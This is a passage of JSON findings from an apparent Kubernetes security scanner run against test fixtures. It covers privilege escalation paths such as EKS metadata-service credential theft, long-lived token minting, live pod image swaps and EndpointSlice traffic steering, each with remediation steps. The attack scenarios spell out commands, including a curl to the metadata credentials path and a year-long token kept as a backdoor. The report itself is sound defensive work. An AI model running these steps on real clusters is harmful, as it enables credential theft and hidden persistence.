    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Pod:foothold-exec:foothold-target",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 9.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "foothold-exec/foothold-target",
      "reason": "no-egress-policy",
      "sa": "foothold-exec/foothold-reader",
      "workload": "Pod/foothold-exec/foothold-target"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-003:User/gw-deployer:gw-workloads:deployments",
    "rule_id": "KUBE-PRIVESC-003",
    "severity": "HIGH",
    "score": 9.1,
    "category": "privilege_escalation",
    "title": "Namespace `gw-workloads` only workload-controller mutation can spawn privileged pods on `User/gw-deployer`",
    "description": "Subject User/gw-deployer can `create/update/patch` workload controllers (`deployments`, `daemonsets`, `statefulsets`, `jobs`, `cronjobs`) via RoleBinding `gw-workloads/gw-deployer` → Role `gw-workloads/gw-deployer`. Namespace `gw-workloads` only.\n\nAnyone who can write a workload template inherits the same implicit permissions as `pods/create`: choice of ServiceAccount, choice of Pod Security context, and choice of host-level features. The specific danger of controller mutation (vs. pod create) is durability and stealth: a `kubectl edit deployment` adding a `privileged: true` sidecar produces pods continuously, so restart-looping the pod returns a fresh shell every time.\n\nDaemonSet write is the most dangerous variant because a DaemonSet runs one pod on every node, including new nodes added later. CronJobs offer time-based persistence that survives pod evictions, node reboots, and short-lived RBAC remediations. A realistic incident: an attacker with `patch daemonsets` in `kube-system` mutates `kube-proxy` to add a malicious sidecar inheriting the existing pod's host-mounts and ServiceAccount.",
    "subject": {
      "kind": "User",
      "name": "gw-deployer"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "gw-deployer",
      "namespace": "gw-workloads",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `gw-workloads` only"
    },
    "impact": "Spawn (or mutate existing) pods running as any ServiceAccount in Namespace `gw-workloads` only. DaemonSet write specifically yields one attacker pod per node, including future nodes.",
    "attack_scenario": [
      "Attacker enumerates writable controllers with `kubectl auth can-i patch daemonsets --as=gw-deployer -n gw-workloads`.",
      "They identify a high-value DaemonSet (e.g. `kube-system/kube-proxy`, `kube-system/cilium`, or any node-agent that already runs privileged).",
      "They `kubectl patch` to add a sidecar container under their control, inheriting the existing pod's host-mounts, capabilities, and ServiceAccount.",
      "The DaemonSet controller rolls the change to every node; the attacker now has a privileged shell on every node and a node-level token on each.",
      "They use the token to enumerate cluster Secrets and pivot to control-plane components. Persistence survives subject-token rotation because the malicious sidecar continues running."
    ],
    "evidence": {
      "api_groups": [
        "apps"
      ],
      "namespace": "gw-workloads",
      "resource_names": null,
      "resources": [
        "deployments"
      ],
      "scope": "namespace",
      "source_binding": "gw-deployer",
      "source_binding_kind": "RoleBinding",
      "source_role": "gw-deployer",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Restrict workload-controller mutation to platform/CI identities; route application changes through GitOps with PR review.",
    "remediation_steps": [
      "Audit who has `create/update/patch` on `deployments,daemonsets,statefulsets,jobs,cronjobs`. Most application identities should not have this.",
      "Move deployment changes behind GitOps (Argo CD/Flux) so humans push to Git and the controller applies the change under its own ServiceAccount.",
      "Add a Kyverno/Gatekeeper policy that rejects pod templates with `privileged`, `hostPID`, `hostNetwork`, `hostPath` mounts, or `automountServiceAccountToken: true` outside an explicit allowlist.",
      "For DaemonSets specifically, restrict creation to named platform ServiceAccounts. Verify with `kubectl auth can-i create daemonsets --as=gw-deployer -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/",
      "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/",
      "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — DaemonSet (runs on every node)",
        "url": "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/"
      },
      {
        "title": "Kyverno — Disallow privileged containers policy",
        "url": "https://kyverno.io/policies/pod-security/baseline/disallow-privileged-containers/disallow-privileged-containers/"
      },
      {
        "title": "Microsoft Threat Matrix for Kubernetes — Privilege Escalation",
        "url": "https://microsoft.github.io/Threat-Matrix-for-Kubernetes/tactics/PrivilegeEscalation/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-014:ServiceAccount/foothold-fixtures/foothold-minter:foothold-fixtures:serviceaccounts/token",
    "rule_id": "KUBE-PRIVESC-014",
    "severity": "HIGH",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Namespace `foothold-fixtures` only `create serviceaccounts/token` enables token minting (`ServiceAccount/foothold-fixtures/foothold-minter`)",
    "description": "Subject ServiceAccount/foothold-fixtures/foothold-minter can `create` on the `serviceaccounts/token` subresource via RoleBinding `foothold-fixtures/foothold-minter` → Role `foothold-fixtures/foothold-minter`. Namespace `foothold-fixtures` only.\n\nThe TokenRequest API (Kubernetes 1.22+) is the canonical way to mint a JWT ServiceAccount token, and its `create` verb is gated by RBAC on the `serviceaccounts/token` subresource. Anyone holding this verb on a ServiceAccount can mint a token authenticated as that ServiceAccount.\n\nDatadog Security Labs published a write-up on its abuse for persistence: an attacker mints a long-lived token for the highest-privileged ServiceAccount they can reach (commonly `kube-system/clusterrole-aggregation-controller`, which holds `escalate` on ClusterRoles), and uses that token as a backdoor that survives the original RBAC binding being removed. Crucially, this verb is NOT covered by 'list secrets' detections. TokenRequest tokens are NOT stored as Secret objects; they're issued live by the apiserver and never leave a footprint on disk.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-minter",
      "namespace": "foothold-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "foothold-minter",
      "namespace": "foothold-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-fixtures` only"
    },
    "impact": "Mint a JWT for any ServiceAccount in Namespace `foothold-fixtures` only. Cluster-wide variant trivially yields cluster-admin (mint a kube-system controller token). Tokens persist after the original binding is revoked.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create serviceaccounts/token --as=foothold-minter -n foothold-fixtures`.",
      "They enumerate high-privilege ServiceAccounts: `kubectl get clusterrolebindings -o json | jq '.items[].subjects[]?.name'` and pick one with `cluster-admin`, `system:masters`, or aggregated permissions.",
      "They mint a long-lived token via the TokenRequest API: `kubectl create token \u003csa-name\u003e -n \u003cns\u003e --duration=8760h` (1 year), or call `/api/v1/namespaces/\u003cns\u003e/serviceaccounts/\u003csa\u003e/token` directly.",
      "They `kubectl --token=\u003cjwt\u003e get nodes` and confirm the new identity.",
      "They cache the token off-cluster as a backdoor: rotating the original binding does NOT invalidate an issued token until its `exp` claim, which defaults to `--service-account-max-token-expiration` (often 1 year on legacy clusters)."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "foothold-fixtures",
      "resource_names": null,
      "resources": [
        "serviceaccounts/token"
      ],
      "scope": "namespace",
      "source_binding": "foothold-minter",
      "source_binding_kind": "RoleBinding",
      "source_role": "foothold-minter",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove `create` on `serviceaccounts/token` from non-control-plane identities; constrain any legitimate use with `resourceNames` to a tiny allowlist.",
    "remediation_steps": [
      "Remove the verb. Outside `kube-controller-manager` and a small set of token-broker components, nothing should hold this.",
      "If a workload genuinely needs to mint tokens, scope with `resourceNames` to the exact ServiceAccounts it issues tokens for, never `*`.",
      "Enforce a low maximum token expiration cluster-wide via `--service-account-max-token-expiration=1h` on the API server (or the cloud equivalent).",
      "Capture every `create` on `serviceaccounts/token` at `RequestResponse` audit level and SIEM-alert on issuance to ServiceAccounts with `cluster-admin/escalate/bind` rights.",
      "Verify with `kubectl auth can-i create serviceaccounts/token --as=foothold-minter -n kube-system` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/",
      "https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Service Accounts (TokenRequest API)",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — Managing Service Accounts (admin)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Datadog Security Labs — Persistence via the TokenRequest API",
        "url": "https://securitylabs.datadoghq.com/articles/kubernetes-tokenrequest-api/"
      },
      {
        "title": "Kubernetes API — TokenRequest v1",
        "url": "https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-034:ServiceAccount/imgswap-fixtures/imgswap-patcher:imgswap-fixtures:pods",
    "rule_id": "KUBE-PRIVESC-034",
    "severity": "HIGH",
    "score": 9,
    "category": "privilege_escalation",
    "title": "Namespace `imgswap-fixtures` only `update`/`patch` on pods swaps container images inside running pods (`ServiceAccount/imgswap-fixtures/imgswap-patcher`)",
    "description": "Subject ServiceAccount/imgswap-fixtures/imgswap-patcher can `update`/`patch` core `pods` via RoleBinding `imgswap-fixtures/imgswap-pod-patcher` → Role `imgswap-fixtures/imgswap-pod-patcher`. Namespace `imgswap-fixtures` only.\n\nA pod's spec is mostly immutable after creation, but the API server's pod update validation deliberately keeps a few fields writable on a live pod, and `spec.containers[*].image` and `spec.initContainers[*].image` are among them. Nothing in-tree checks who changed an image: the kubelet notices the new value on its next sync and restarts that container with the new image, inside the same pod sandbox. The replacement container inherits everything the pod already had: the mounted ServiceAccount token, the `securityContext` (including `privileged`), host namespaces, and every volume, `hostPath` included.\n\nThat makes a plain write verb on `pods` equivalent to `pods/exec` (KUBE-PRIVESC-004) and `pods/ephemeralcontainers` (KUBE-PRIVESC-013): the holder picks a running pod whose ServiceAccount, or whose pod spec, is more privileged than their own, and runs their own code in it. No workload controller reverts the change, because ReplicaSet, StatefulSet, and DaemonSet reconcile on pod labels and template hashes, not on the live container image. The verb is commonly granted for label and annotation patching (the built-in `edit` ClusterRole carries it, and so do many operator roles), which is why it is easy to overlook.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-patcher",
      "namespace": "imgswap-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "imgswap-pod-patcher",
      "namespace": "imgswap-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `imgswap-fixtures` only"
    },
    "impact": "Run attacker-chosen code inside any existing pod in Namespace `imgswap-fixtures` only, inheriting that pod's ServiceAccount token, securityContext, and host access, without any exec, attach, or ephemeral-container permission.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i patch pods --as=imgswap-patcher -n imgswap-fixtures`.",
      "They list running pods and their ServiceAccounts, and pick one whose identity or pod spec (privileged, hostPath, hostPID) is worth more than their own.",
      "They patch that pod's `spec.containers[*].image` to an image they control. The API server accepts the update because the image field is mutable on a live pod.",
      "The kubelet restarts the container with the new image. The attacker's code now runs with the pod's mounted ServiceAccount token and its securityContext, and continues from there as the pod's identity or, for a privileged pod, onto the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "imgswap-fixtures",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "imgswap-pod-patcher",
      "source_binding_kind": "RoleBinding",
      "source_role": "imgswap-pod-patcher",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "list",
        "patch"
      ]
    },
    "remediation": "Remove `update`/`patch` on `pods` from identities that only need to read pods or manage them through controllers; where label or annotation patching is required, add a ValidatingAdmissionPolicy that rejects image changes on pod UPDATE.",
    "remediation_steps": [
      "Drop `update`/`patch` on `pods` from ServiceAccount/imgswap-fixtures/imgswap-patcher. Controllers and deploy tooling change pods by rewriting the owning workload's template, not the live pod, so almost no application identity needs this verb.",
      "Audit who else holds it: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]? | (.resources // [] | index(\"pods\")) and ((.verbs // []) | map(. == \"update\" or . == \"patch\" or . == \"*\") | any)) | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect only `edit`, `admin`, and controller roles.",
      "Where a tool genuinely needs to patch pod labels or annotations, keep the verb but add a `ValidatingAdmissionPolicy` on `pods` UPDATE that denies the request when `object.spec.containers.map(c, c.image) != oldObject.spec.containers.map(c, c.image)` (and the same comparison for `initContainers`). No in-tree component changes a live pod's image, so the policy can apply to every non-admin user.",
      "Pin sensitive workloads to dedicated, least-privilege ServiceAccounts so that code injected into a co-tenant pod does not yield a powerful token.",
      "Verify with `kubectl auth can-i patch pods --as=imgswap-patcher -n imgswap-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/workloads/pods/#pod-update-and-replacement",
      "https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Pod update and replacement (which pod fields stay mutable)",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/#pod-update-and-replacement"
      },
      {
        "title": "Kubernetes: Validating Admission Policy",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-021:ServiceAccount/hookbackend-fixtures/hookbackend-slicer:hookbackend-fixtures:endpointslices",
    "rule_id": "KUBE-PRIVESC-021",
    "severity": "HIGH",
    "score": 8.8,
    "category": "lateral_movement",
    "title": "Namespace `hookbackend-fixtures` only write on `endpointslices` lets `ServiceAccount/hookbackend-fixtures/hookbackend-slicer` steer Service traffic",
    "description": "Subject ServiceAccount/hookbackend-fixtures/hookbackend-slicer can `create`/`update`/`patch` `endpointslices` (discovery.k8s.io) via RoleBinding `hookbackend-fixtures/hookbackend-slicer` → Role `hookbackend-fixtures/hookbackend-slicer`. Namespace `hookbackend-fixtures` only.\n\nA Service's backends are the EndpointSlices that carry its `kubernetes.io/service-name` label. kube-proxy consumes every such slice whatever its `endpointslice.kubernetes.io/managed-by` label says, and the EndpointSlice controller reconciles only the slices it manages. A slice the holder adds therefore survives and takes its share of the Service's traffic: the Service's clients resolve the same name, and part of their connections reach addresses the holder chose.\n\nOutside kube-controller-manager and a few service meshes, nothing needs this verb.\n\nThe grant reaches `hookbackend-fixtures`, which hosts a Service the API server itself calls (an admission webhook backend or an aggregated API server). Steering that Service, and presenting its serving certificate, puts the holder in the API server's request path; see KUBE-PRIVESC-038 for the pairing.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-slicer",
      "namespace": "hookbackend-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "hookbackend-slicer",
      "namespace": "hookbackend-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `hookbackend-fixtures` only"
    },
    "impact": "Redirect part of any Service's traffic in Namespace `hookbackend-fixtures` only to addresses the subject chooses, capturing or altering what the Service's clients send.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i create endpointslices --as=hookbackend-slicer -n hookbackend-fixtures`.",
      "They pick a Service whose clients carry something valuable and create an EndpointSlice labelled with that Service's name, listing an address they control. kube-proxy adds it to the Service's backends.",
      "Clients of the Service now reach the attacker for a share of their requests."
    ],
    "evidence": {
      "api_groups": [
        "discovery.k8s.io"
      ],
      "namespace": "hookbackend-fixtures",
      "resource_names": null,
      "resources": [
        "endpointslices"
      ],
      "scope": "namespace",
      "source_binding": "hookbackend-slicer",
      "source_binding_kind": "RoleBinding",
      "source_role": "hookbackend-slicer",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "list",
        "create"
      ]
    },
    "remediation": "Remove write access to `endpointslices` from every identity that is not kube-controller-manager or a known mesh control plane, and alert on an EndpointSlice whose `managed-by` label is not the EndpointSlice controller.",
    "remediation_steps": [
      "Drop `create`/`update`/`patch` on `endpointslices` from ServiceAccount/hookbackend-fixtures/hookbackend-slicer.",
      "Audit who else holds it: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"endpointslices\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`.",
      "Alert on EndpointSlices whose `endpointslice.kubernetes.io/managed-by` label is not `endpointslice-controller.k8s.io`.",
      "For Services whose clients carry credentials, require mutual TLS so a redirected backend cannot present the expected identity.",
      "Verify with `kubectl auth can-i create endpointslices --as=hookbackend-slicer -n hookbackend-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: EndpointSlices (ownership and the managed-by label)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/#management"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Service traffic and network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/csr-fixtures/sa-csr-sign:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/csr-fixtures/sa-csr-sign` can impersonate **`system:masters`** in 1 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/csr-fixtures/sa-csr-sign` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (1 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/csr-fixtures/sa-csr-sign` → `/` via `csr_sign` (sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status): is an authorized signer for apiserver client certificates and can issue one for any identity without an approval step\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-sign",
      "namespace": "csr-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/csr-fixtures/sa-csr-sign` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/csr-fixtures/sa-csr-sign`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-sign`, the attacker skips approval entirely: it holds `sign` on the `kubernetes.io/kube-apiserver-client` signer plus the `certificatesigningrequests/status` write (`sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status`), which is the authorization Kubernetes defines for *being* the signer. It issues a client certificate for any identity it names and writes the result onto the CSR status itself. The one thing beyond the grant is the signing CA key — the identity this grant designates holds it by definition, which is why the hop is rated hard rather than assumed.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_sign [sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status]"
      ],
      "first_action": "csr_sign",
      "hop_count": 1,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "csr_sign"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `sign signers/kubernetes.io/kube-apiserver-client + update certificatesigningrequests/status` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-sign` → `/`).",
